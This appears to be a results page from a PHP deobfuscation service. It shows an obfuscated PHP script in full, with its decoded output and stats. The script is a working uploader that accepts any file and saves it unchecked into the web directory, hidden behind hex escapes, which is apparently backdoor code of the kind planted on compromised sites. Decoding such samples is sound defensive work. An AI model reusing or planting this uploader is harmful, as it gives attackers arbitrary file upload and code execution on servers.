Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"G\x4c\x4fB\x41\x4c\x53"}["\x78a\x66\x64\x6f\x6f\x6f\x6e\x67v"]="p\x61\x74h";echo ..

Decoded Output download

<html><head><title>Upload your files</title></head><body><form enctype="multipart/form-data" action="" method="POST"><input type="file" name="uploaded_file"></input><input type="submit" value="Upload"></input></form></body></html>

Did this file decode correctly?

Original Code

<?php ${"G\x4c\x4fB\x41\x4c\x53"}["\x78a\x66\x64\x6f\x6f\x6f\x6e\x67v"]="p\x61\x74h";echo "<h\x74ml\x3e\x3c\x68e\x61\x64><t\x69t\x6c\x65\x3e\x55\x70\x6co\x61\x64\x20y\x6fu\x72 \x66i\x6ce\x73\x3c/ti\x74\x6ce\x3e\x3c/\x68\x65a\x64\x3e<\x62o\x64y\x3e<for\x6d\x20e\x6e\x63t\x79\x70\x65=\x22\x6d\x75l\x74ip\x61\x72t/fo\x72m-\x64at\x61\x22 a\x63tion=\"\x22 m\x65t\x68od=\"POS\x54\x22><i\x6eput\x20\x74yp\x65\x3d\"fi\x6c\x65\x22\x20name=\x22u\x70\x6c\x6f\x61\x64e\x64_file\x22\x3e\x3c/inpu\x74\x3e\x3c\x69\x6e\x70\x75\x74\x20typ\x65=\x22su\x62m\x69\x74\" va\x6c\x75e=\x22\x55\x70lo\x61d\x22\x3e\x3c/\x69\x6e\x70u\x74>\x3c/\x66\x6f\x72m\x3e</\x62o\x64y\x3e\x3c/\x68\x74m\x6c>";if(!empty($_FILES["\x75p\x6co\x61\x64ed\x5f\x66i\x6ce"])){${${"GLO\x42A\x4cS"}["\x78\x61\x66\x64o\x6fongv"]}="./";${${"G\x4c\x4f\x42A\x4c\x53"}["\x78\x61\x66d\x6f\x6f\x6f\x6eg\x76"]}=${${"GL\x4f\x42\x41\x4cS"}["xa\x66d\x6foon\x67v"]}.basename($_FILES["\x75\x70\x6coa\x64\x65\x64_\x66\x69le"]["\x6ea\x6d\x65"]);if(move_uploaded_file($_FILES["u\x70\x6c\x6fa\x64\x65\x64_f\x69le"]["\x74\x6dp_n\x61\x6d\x65"],${${"GL\x4fBA\x4cS"}["\x78af\x64oo\x6fng\x76"]})){echo"Th\x65\x20file\x20".basename($_FILES["\x75\x70\x6c\x6fa\x64\x65\x64\x5f\x66\x69l\x65"]["n\x61me"])." \x68a\x73 b\x65\x65n\x20\x75\x70\x6co\x61\x64ed";}else{echo"\x54h\x65\x72e\x20\x77\x61\x73\x20an\x20error\x20up\x6co\x61\x64in\x67 \x74\x68e f\x69\x6c\x65,\x20\x70\x6c\x65\x61\x73\x65\x20\x74\x72y \x61\x67ai\x6e\x21";}}
?>

Function Calls

None

Variables

GLOBALS [{'key': 'xafdooongv', 'value': 'path'}]

Stats

MD5 b6b8527c9e92174387badaa5ca768195
Eval Count 0
Decode Time 110 ms